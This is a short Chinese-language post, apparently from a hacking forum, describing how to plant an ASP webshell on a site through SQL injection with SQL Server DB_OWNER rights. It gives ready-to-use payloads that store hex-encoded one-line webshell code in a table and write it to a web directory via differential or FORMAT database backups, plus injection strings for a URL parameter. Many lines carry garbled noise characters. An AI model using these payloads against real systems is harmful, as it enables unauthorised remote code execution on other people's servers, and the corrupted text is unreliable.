DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
9 V: {  b/ {, `, ?- X+ e加一个参数WITH DIFFERENTIAL
; R+ d; R. i; ~- l" G) H
1
2
3
/ E$ g: @' r7 n" g3 b. z4
: L9 }/ c* Z8 N. e2 Z9 {6 [ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
( Y% K, q% _8 |6 ~% kinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
* R' Q$ W. r& ?
- k/ N* g+ Z9 k! O$ \: J; Z二利用完全FORMAT
, C6 q& v4 i' y9 W$ }9 f3 \( C' }加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
( {" [6 O& j. z& |* m+ K% X- t1 G, w2 e
8 `2 O! E, N5 Z, T1
& N: a5 v/ F: U! v& I2
3
4
* j# l# ~3 M: p5 D+ p, P declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
* j* l1 _, y% X: y! R  Q5 O* x3 q$ Icreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
6 `, w, |6 c  k+ D4 Gdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
2 b7 q& N- d) o  B7 `8 O9 |
9 g, h. E. g: l% _; k+ @, O; K总的来说就是那么简单几句,下面以备份数据库model为例子
9 X8 }7 i' e9 v6 L  h6 w3 [8 N  y1
6 m% k' T' g9 }% I0 b5 ^
! g  o; e% K; w  f1
6 I6 H+ U1 b% ?& B: n id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
# T, c. D- n: Y# B3 ^
4 x# k% S( q* N5 J! J# M9 c2

% d; O1 x! F) M5 i+ ]" X5 a9 H* N6 @1
id=1;backup database model to disk='你的路径‘ with differential,format;--